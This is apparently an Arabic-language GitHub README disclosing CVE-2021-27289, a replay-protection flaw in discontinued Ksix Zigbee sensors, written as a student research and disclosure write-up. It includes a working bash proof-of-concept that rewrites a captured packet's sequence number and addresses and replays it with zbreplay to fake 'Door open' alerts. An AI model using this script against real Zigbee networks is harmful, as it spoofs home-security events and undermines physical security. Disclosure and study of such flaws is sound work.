themalwareguardian/cve-2021-27289CVE-2021-27289: تجاوز حماية إعادة التشغيل على أجهزة Ksix Zigbee
مرحباً بالجميع،
أعتقد أن الأمر الاحترافي كان ببساطة تسمية هذا المستودع كما هو تمامًا – واضح، وصفي، وفي صلب الموضوع. لكن عندما كنت أجمّعه، خطرت ببالي بعض العناوين الأخرى، مثل:
على أي حال، هذه هي القصة.
بينما كنت أستعد للكشف عن ثغرة جديدة، تذكّرت شيئًا عملتُ عليه قبل سنوات - وهو خطأ اكتشفته أثناء مشروع التخرج أثناء بحثي في بروتوكولات إنترنت الأشياء مثل Thread وZigbee. في ذلك الوقت، أرسلت تقريرًا إلى MITRE لكنني لم أتلقَّ أي رد، فظننتُ أنه تم تجاهله فقط.
بدافع الفضول، قمت بتسجيل الدخول إلى حساب Gmail القديم الذي استخدمته للإرسال... ولدهشتي، في عام 2023 - بعد ثلاث سنوات - رأيت أنه تم تخصيص CVE بالفعل.
CVE-2021-27289، مرتبط بالثغرة التي أبلغتُ عنها كطالب.
لماذا استغرق الأمر كل هذا الوقت؟ عندما تواصلت أول مرة مع البائع، قالوا إنهم لا يملكون عددًا كافيًا من الموظفين لإصلاحها واستمروا في تكرار هذا العذر. أخبرت MITRE أنه لا يبدو أن أحدًا يفعل أي شيء حيالها، لذا أعتقد أنهم انتظروا - ربما لأن المشكلة لم يكن من المقرر إصلاحها على أي حال.
أثر هذا الخطأ على العديد من أجهزة إنترنت الأشياء القائمة على Zigbee والتي تصنعها Ksix. كانت المشكلة الأساسية هي أن آلية حماية إعادة التشغيل المعرّفة في مواصفة Zigbee والمطبَّقة عبر عدّاد الإطارات لم تكن منفَّذة بشكل صحيح.
نظرًا لأن الأجهزة لم تتحقق من عدّاد الإطارات بشكل صحيح، يمكن للمهاجم التواصل مع الشبكة وتزوير الحزم بمجرد زيادة رقم التسلسل إلى قيمة أعلى من آخر قيمة شاهدها الجهاز. هذا جعل من الممكن إعادة تشغيل الرسائل الملتقَطة وجعلها مقبولة كرسائل صالحة - مما أدى فعليًا إلى تجاوز للمصادقة.
يحتوي هذا المستودع على كل ما عملت عليه خلال مشروع التخرج:
أجهزة إنترنت الأشياء Zigbee من Ksix معرّضة لثغرة هجوم إعادة تشغيل ناتجة عن تنفيذ غير صحيح لآليات حماية إعادة التشغيل في Zigbee.
تم اختبار الإصدارات التالية وتبيّن أنها معرّضة للخطر. لم أختبر الإصدارات الأحدث، لذا قد تكون متأثرة أيضًا.
هذه المنتجات لم تعد متوفرة على موقع البائع أو على منصات مثل Amazon، ويبدو أنه تم إيقافها.
حزمة Zigbee في الأجهزة المتأثرة لا تطبّق بشكل صحيح آلية حماية إعادة التشغيل، التي تعتمد على حقل عدّاد الإطارات المعرّف في مواصفة Zigbee. هذا الحقل مخصص لضمان أن الرسائل المستلمة جديدة ولم تُعَد تشغيلها.
ومع ذلك، في هذا التنفيذ، يتم تجاهل عدّاد الإطارات أو لا يتم التحقق منه بشكل صحيح. نتيجة لذلك، يمكن للمهاجم التقاط حزمة Zigbee شرعية، وزيادة رقم التسلسل الخاص بها إلى قيمة أعلى (مثل 250)، وإعادة تشغيلها على الشبكة.
نظرًا لأن الأجهزة تتحقق فقط من رقم التسلسل، فإنها تقبل الرسالة كرسالة جديدة - مما يسمح باتصالات مزوّرة وإجراءات غير مصرح بها دون كسر أي مصادقة أو تشفير.
اعتمادًا على نوع الجهاز وكيفية دمجه في البيئة، قد يتسبب ذلك في ظهور تنبيهات كاذبة أو حالات استشعار مزيفة في التطبيق الذي استخدمه المستخدم أصلاً لإعداد الشبكة (مثل: اكتشاف حركة، فتح باب) - حتى لو لم يحدث شيء في الواقع. في الإعدادات الأكثر تعقيدًا، قد يؤدي ذلك إلى زعزعة استقرار سير العمل المؤتمت أو تشغيل إجراءات غير مقصودة بناءً على بيانات مزوّرة.
عادةً ما يتم تكوين هذه الأجهزة باستخدام تطبيقات مثل Tuya Smart أو منصات مشابهة، والتي تُشعر المستخدمين في الوقت الفعلي عند تفعيل مستشعر - على سبيل المثال، عند فتح باب أو اكتشاف حركة. هذا ما يجعل الهجمات التالية فعّالة بشكل خاص، حتى لو لم تحدث الأحداث الفعلية أبدًا.
على الرغم من أن الأثر المباشر لثغرة إعادة التشغيل هذه محدود، فإن الفهم الأعمق للبروتوكول - مثل ما استكشفته في مشروع التخرج - يكشف عن سيناريوهات هجوم أكثر تقدمًا يمكن تنفيذها بأقل الموارد.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 فيديوهات العرض***
- [فيديو YouTube - CVE-2021-27289: هجوم إعادة التشغيل على أجهزة Zigbee من Ksix (نظرة عامة + عروض قديمة)]() - قريباً. سأعيد رفع العروض الأصلية التي سجلتها في 2020، وهذه المرة مع تعليق يشرح إعداد البيئة، وعملية الهجوم، والمزيد.
---
---
---
<div id='original-blog-post'/>
## ***📝 المقال الأصلي***
نُشر المقال الأصلي في عام 2020 على ما كان آنذاك موقعي الشخصي الرئيسي (آه، الحنين 😅). في ذلك الوقت، شاركت تقريراً فنياً لدعم طلب CVE الخاص بي المقدم إلى MITRE، ولتقديم استغلال إثبات المفهوم (PoC) إلى Exploit-DB، ولنشر فيديوهات العرض (التي أعدت رفعها الآن على حساب YouTube مختلف).
ما ستجده أدناه هو نسخة أعيدت هيكلتها قليلاً من ذلك المقال الأصلي.
<div id='original-blog-post-researcher'/>
### ***👤 الباحث***
أليخاندرو فاسكيز فاسكيز، في الثانية والعشرين من عمره، بدأ للتو يأخذ الأمن السيبراني على محمل الجد - محولاً شغفه ببطء إلى مهنة.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 أساسيات Zigbee***
إذا لم تكن معتاداً على Zigbee، فلا أتوقع منك أن تتصفح تقرير أطروحتي أو مواصفات IEEE 802.15.4 الكاملة. بدلاً من ذلك، أوصي بهذه المصادر الممتازة للحصول على فهم متين للبروتوكول:
- [Kudelski Security Research - أساسيات أمان ZigBee (الجزء 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - أساسيات أمان ZigBee (الجزء 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - أساسيات أمان ZigBee (الجزء 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (البنية وقضايا الأمان)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [مركز تنسيق فريق الاستجابة لطوارئ الحاسوب في هونغ كونغ (HKCERT) - دراسة أمان الأجهزة (ZigBee)](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 الخلفية والدافع***
لمشروع التخرج النهائي، اخترت موضوعاً غير تقليدي بعض الشيء في جامعتي: بدلاً من تطوير تطبيق، ركزت بالكامل على البحث في بروتوكولات الاتصال وتحليلها. اخترت هذا المسار لأنه سمح لي باستكشاف ما رأيته مجالاً بالغ الأهمية في ذلك الوقت - أمان أجهزة إنترنت الأشياء (IoT).
تركز عملي على بروتوكولي Zigbee وThread، وكذلك على أساسهما: IEEE 802.15.4. وبمجرد أن راجعت ما يكفي من الوثائق التقنية والأبحاث الأكاديمية، انتقلت إلى الاختبارات العملية على أجهزة حقيقية، بهدف إعادة إنتاج وتحليل الثغرات الأمنية المعروفة في هذا المجال.
<div id='original-blog-post-early-experiments'/>
### ***🔍 التجارب المبكرة***
بدأت اختباراتي بمستشعر حركة Zigbee. أردت أن أرى كيف سيستجيب الجهاز لرسالة تحكم مزيفة - وتحديداً إطار إعادة محاذاة الشبكة، والذي يُستخدم عادةً لإعادة تعيين معلمات إعداد Zigbee. حقنت واحداً في الشبكة لمحاكاة إعادة الإعداد - ونجح الأمر. كان المستشعر لا يزال يظهر كـ"متصل" في تطبيق الهاتف المحمول (التطبيق الذي استخدمته لإعداد الشبكة)، لكنه في الواقع فقد التواصل مع المنسق وكان لا بد من إعادة تعيينه يدوياً. أخبرني هذا أن الجهاز كان يقبل بعض الحزم دون تحقق قوي.
تشجعت بهذه النتيجة، فانتقلت إلى هجمات إعادة التشغيل. باستخدام أداة التقاط (Sniffer)، التقطت رسائل Zigbee قياسية من مستشعر الباب (مثل "فتح الباب" و"إغلاق الباب"). بعد إعادة تعيين شبكة Zigbee، أعدت تشغيل تلك الحزم دون تعديل أي حقل. ولدهشتي، أطلق تطبيق الهاتف تنبيهات فورية، وكأن الباب فُتح أو أُغلق للتو - على الرغم من أنني كنت أعيد ببساطة تشغيل رسائل تم التقاطها مسبقاً.
أكد هذا أن آليات الحماية المصممة لمنع هجمات إعادة التشغيل إما لم تكن مطبقة أو لم تكن تعمل بشكل صحيح على هذه الأجهزة.
<div id='original-blog-post-discovery'/>
### ***💥 الاكتشاف***
عند هذه النقطة، أردت أن أفهم بشكل أفضل لماذا كان إعادة تشغيل الحزم القديمة ناجحاً. يعرّف Zigbee حقلين رئيسيين لمنع هذا النوع من الهجمات: عدّاد الإطارات، الذي يزداد مع كل رسالة تُرسل، ورقم التسلسل، الذي يساعد في اكتشاف الرسائل المكررة.
لذلك بدأت التجربة على كليهما.
أولاً، التقطت حوالي 50 حزمة صالحة وأعدت تشغيلها في الشبكة. تلقيت عدة تنبيهات، تماماً كما في السابق. ثم عدّلت عدّاد الإطارات، واضعاً إياه على قيمة أعلى بكثير في كل حزمة، وحاولت مجدداً. هذه المرة لم يحدث شيء - لا تنبيهات. جعلني ذلك أشك في أن نوعاً من الفحص كان يُنفذ، لكن بشكل غير متسق.
للتعمق أكثر، أعدت تعيين شبكة Zigbee مرة أخرى، وبدلاً من تعديل عدّاد الإطارات، ركزت على رقم التسلسل. أعدت تشغيل الرسائل نفسها التي تم التقاطها، لكن مع زيادة تدريجية لرقم التسلسل في كل حزمة، محاكياً ما سيفعله جهاز طبيعي.
نجح الأمر.
بدأت التنبيهات تظهر مرة أخرى في تطبيق الهاتف. عندها أدركت أن الأجهزة كانت على الأرجح تعتمد فقط على رقم التسلسل لتحديد ما إذا كانت الحزمة جديدة - وتتجاهل تماماً عدّاد الإطارات، وهو الحقل المصمم صراحةً لمنع هجمات إعادة التشغيل.
عنى هذا العيب أنه طالما واصلت إرسال حزم بأرقام تسلسلية أحدث، يمكنني مواصلة حقن رسائل مزيفة في الشبكة - وستقبلها الأجهزة كرسائل شرعية.
لذا، بسبب تنفيذ ضعيف - أو ربما قدرات معالجة محدودة على المنسق (بوابة Zigbee) - تمكنت، ببساطة بالبقاء ضمن النطاق اللاسلكي للشبكة، من إعادة تشغيل رسائل تم التقاطها مسبقاً مثل "فتح الباب" أو "إغلاق الباب". كانت هذه الأحداث المزيفة تظهر بعد ذلك في تطبيق الهاتف تماماً كما لو كانت قد حدثت للتو في الحياة الواقعية.
<div id='original-blog-post-exploitation'/>
### ***🧨 الاستغلال***
استغلال الثغرة أمر بسيط للغاية:
تلتقط إطار Zigbee صالحاً، وتغيّر رقم التسلسل إلى قيمة أعلى، ثم تعيد تشغيله. يقبل الجهاز المستقبِل الرسالة، ويحصل المستخدم على تنبيه فوري في تطبيقه، معتقداً أن هناك نشاطاً حقيقياً.
في بعض الاختبارات، تمكنت حتى من تعطيل التواصل بين الأجهزة، مما جعل المستشعرات تبقى "متصلة" في التطبيق لكنها تصبح غير مستجيبة، وهو ما قد يكون خطيراً في سيناريوهات الأمن المادي.
<div id='original-blog-post-lab-setup'/>
### ***🔬 إعداد المختبر***
أُجريت الاختبارات في عام 2020 باستخدام مختبر صغير من أجهزة إنترنت الأشياء القائمة على Zigbee والمصنوعة من قبل Ksix. تم تأكيد أن النماذج وإصدارات البرنامج الثابت التالية كانت عرضة للثغرة في ذلك الوقت:
- وحدة بوابة Zigbee – v1.0.3
- الوحدة الرئيسية للبوابة – v1.1.2
- مستشعر الباب – v1.0.7
- مستشعر الحركة PIR – v1.0.12
لتنفيذ الهجمات والتقاط حركة مرور Zigbee، استخدمت:
- APImote، أداة التقاط عتادية عبر USB لشبكات IEEE 802.15.4
- إطار عمل KillerBee، المستخدم لالتقاط الحزم وحقنها وتحليلها
سمح لي هذا الإعداد بمحاكاة التفاعلات الواقعية، وتحليل تدفقات حركة المرور، واختبار سيناريوهات هجمات حجب الخدمة (DoS) وإعادة التشغيل معاً في بيئة محكومة.
<div id='original-blog-post-related-research'/>
### ***📚 أبحاث ذات صلة***
وهنا أتوجه بالشكر لجميع الباحثين الذين سهّلوا طريقي، والذين تعلمت من منشوراتهم أكثر نواقل الهجوم والثغرات شيوعاً في هذا النوع من شبكات إنترنت الأشياء:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)